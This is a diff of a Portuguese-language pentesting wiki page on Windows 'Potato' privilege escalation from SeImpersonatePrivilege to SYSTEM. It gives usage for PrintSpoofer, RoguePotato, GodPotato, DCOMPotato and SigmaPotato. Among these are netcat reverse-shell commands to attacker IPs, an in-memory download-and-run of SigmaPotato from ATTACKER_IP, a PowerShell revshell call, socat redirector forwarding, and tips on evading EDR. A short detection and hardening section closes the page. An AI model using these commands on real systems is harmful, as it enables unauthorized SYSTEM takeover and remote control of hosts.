> **JuicyPotato não funciona** em Windows Server 2019 e Windows 10 build 1809 em diante. No entanto, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** podem ser usados para obter os mesmos privilégios e ganhar acesso em nível `NT AUTHORITY\SYSTEM`.** Este [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) aprofunda-se na ferramenta `PrintSpoofer`, que pode ser usada para abusar de privilégios de impersonation em hosts Windows 10 e Server 2019 onde o JuicyPotato não funciona mais.
|
||||
|
||||
> [!TIP]
|
||||
> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
|
||||
> Uma alternativa moderna frequentemente mantida em 2024–2025 é SigmaPotato (um fork do GodPotato) que adiciona uso em memória/.NET reflection e suporte estendido de SO. Veja uso rápido abaixo e o repo em References.
|
||||
|
||||
Related pages for background and manual techniques:
|
||||
|
||||
@ -24,23 +24,24 @@ privilege-escalation-abusing-tokens.md
|
||||
|
||||
## Requisitos e armadilhas comuns
|
||||
|
||||
Todas as técnicas a seguir dependem de abusar de um serviço privilegiado com capacidade de impersonation a partir de um contexto que detenha qualquer um destes privilégios:
|
||||
Todas as técnicas a seguir dependem de abusar de um serviço privilegiado com capacidade de impersonation a partir de um contexto que detenha um destes privilégios:
|
||||
|
||||
- SeImpersonatePrivilege (o mais comum) ou SeAssignPrimaryTokenPrivilege
|
||||
- Integridade elevada não é necessária se o token já tiver SeImpersonatePrivilege (típico para muitas contas de serviço como IIS AppPool, MSSQL, etc.)
|
||||
|
||||
Verifique privilégios rapidamente:
|
||||
Verifique os privilégios rapidamente:
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
Notas operacionais:
|
||||
|
||||
- PrintSpoofer requer o serviço Print Spooler em execução e acessível pelo endpoint RPC local (spoolss). Em ambientes endurecidos onde o Spooler foi desativado após o PrintNightmare, prefira RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requer um OXID resolver acessível via TCP/135. Se o egress estiver bloqueado, use um redirector/port-forwarder (veja o exemplo abaixo). Builds mais antigas precisavam da flag -f.
|
||||
- Se sua shell estiver rodando sob um token restrito sem SeImpersonatePrivilege (comum para Local Service/Network Service em alguns contextos), recupere os privilégios padrão da conta usando FullPowers e então execute um Potato. Exemplo: `FullPowers.exe -c "cmd /c whoami /priv" -z`
|
||||
- PrintSpoofer requer o serviço Print Spooler em execução e acessível pelo endpoint RPC local (spoolss). Em ambientes reforçados onde o Spooler foi desabilitado após o PrintNightmare, prefira RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato requer um OXID resolver acessível via TCP/135. Se egress estiver bloqueado, use um redirector/port-forwarder (veja o exemplo abaixo). Versões mais antigas precisavam da flag -f.
|
||||
- EfsPotato/SharpEfsPotato abusam de MS-EFSR; se um pipe estiver bloqueado, tente pipes alternativos (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- O erro 0x6d3 durante RpcBindingSetAuthInfo geralmente indica um serviço de autenticação RPC desconhecido/não suportado; tente outro pipe/transporte ou verifique se o serviço alvo está em execução.
|
||||
- O erro 0x6d3 durante RpcBindingSetAuthInfo normalmente indica um serviço de autenticação RPC desconhecido/não suportado; tente um pipe/transporte diferente ou garanta que o serviço alvo esteja em execução.
|
||||
|
||||
## Demonstração Rápida
|
||||
## Demonstração rápida
|
||||
|
||||
### PrintSpoofer
|
||||
```bash
|
||||
@ -58,8 +59,8 @@ NULL
|
||||
|
||||
```
|
||||
Notas:
|
||||
- Você pode usar -i para iniciar um processo interativo no console atual, ou -c para executar um comando de uma linha.
|
||||
- Requer o serviço Spooler. Se estiver desativado, isso falhará.
|
||||
- Você pode usar -i para iniciar um processo interativo no console atual, ou -c para executar um one-liner.
|
||||
- Requer o serviço Spooler. Se desativado, isso falhará.
|
||||
|
||||
### RoguePotato
|
||||
```bash
|
||||
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
Se a porta 135 de saída estiver bloqueada, pivot o OXID resolver via socat no seu redirector:
|
||||
Se o tráfego de saída pela porta 135 estiver bloqueado, encaminhe o OXID resolver via socat no seu redirector:
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -122,14 +123,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
# You can achieve a reverse shell like this.
|
||||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
Notes:
|
||||
- Funciona no Windows 8/8.1–11 e Server 2012–2022 quando SeImpersonatePrivilege está presente.
|
||||
Notas:
|
||||
- Funciona em Windows 8/8.1–11 e Server 2012–2022 quando SeImpersonatePrivilege está presente.
|
||||
|
||||
### DCOMPotato
|
||||
|
||||

|
||||
|
||||
DCOMPotato fornece duas variantes que miram objetos DCOM de serviço que por padrão usam RPC_C_IMP_LEVEL_IMPERSONATE. Compile ou use os binaries fornecidos e execute seu comando:
|
||||
DCOMPotato fornece duas variantes que miram objetos DCOM de serviço que por padrão usam RPC_C_IMP_LEVEL_IMPERSONATE. Compile ou use os binários fornecidos e execute seu comando:
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -137,9 +138,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
# McpManagementService variant (Server 2022 also)
|
||||
McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (fork do GodPotato atualizado)
|
||||
### SigmaPotato (fork atualizado do GodPotato)
|
||||
|
||||
SigmaPotato adiciona melhorias modernas, como execução em memória via .NET reflection e um PowerShell reverse shell helper.
|
||||
SigmaPotato adiciona funcionalidades modernas, como execução em memória via .NET reflection e um auxiliar de reverse shell em PowerShell.
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -148,13 +149,13 @@ SigmaPotato adiciona melhorias modernas, como execução em memória via .NET re
|
||||
# Or ask it to spawn a PS reverse shell
|
||||
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
|
||||
```
|
||||
## Notas de detecção e endurecimento
|
||||
## Notas de detecção e hardening
|
||||
|
||||
- Monitore processos que criam named pipes e imediatamente chamam token-duplication APIs seguidas por CreateProcessAsUser/CreateProcessWithTokenW. O Sysmon pode revelar telemetria útil: Event ID 1 (criação de processo), 17/18 (named pipe criado/conectado) e linhas de comando que geram processos filhos como SYSTEM.
|
||||
- Endurecimento do Spooler: Desabilitar o serviço Print Spooler em servidores onde não é necessário impede coerções locais do tipo PrintSpoofer via spoolss.
|
||||
- Endurecimento de contas de serviço: Minimize a atribuição de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a serviços customizados. Considere executar serviços sob contas virtuais com os privilégios mínimos necessários e isolá-los com service SID e write-restricted tokens quando possível.
|
||||
- Controles de rede: Bloquear TCP/135 de saída ou restringir o tráfego do RPC endpoint mapper pode quebrar o RoguePotato, a menos que um redirecionador interno esteja disponível.
|
||||
- EDR/AV: Todas essas ferramentas são amplamente signatured. Recompilar a partir do source, renomear símbolos/strings ou usar execução em memória pode reduzir a detecção, mas não derrotará detecções comportamentais sólidas.
|
||||
- Monitore processos que criam named pipes e imediatamente chamam APIs de duplicação de token seguidas por CreateProcessAsUser/CreateProcessWithTokenW. O Sysmon pode expor telemetria útil: Event ID 1 (criação de processo), 17/18 (named pipe criado/conectado) e linhas de comando que geram processos filhos como SYSTEM.
|
||||
- Spooler hardening: Desabilitar o serviço Print Spooler em servidores onde não é necessário previne coerções locais ao estilo PrintSpoofer via spoolss.
|
||||
- Service account hardening: Minimize a atribuição de SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege a serviços customizados. Considere executar serviços sob contas virtuais com os menores privilégios necessários e isolá-los com service SID e tokens com permissão de escrita restrita quando possível.
|
||||
- Controles de rede: Bloquear TCP/135 de saída ou restringir o tráfego do RPC endpoint mapper pode quebrar RoguePotato a menos que um redirector interno esteja disponível.
|
||||
- EDR/AV: Todas essas ferramentas têm assinaturas amplamente conhecidas. Recompilar a partir do source, renomear símbolos/strings ou usar execução em memória pode reduzir a detecção, mas não derrotará detecções comportamentais robustas.
|
||||
|
||||
## Referências
|
||||
|
||||
@ -167,5 +168,7 @@ SigmaPotato adiciona melhorias modernas, como execução em memória via .NET re
|
||||
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
|
||||
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
|
||||
- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user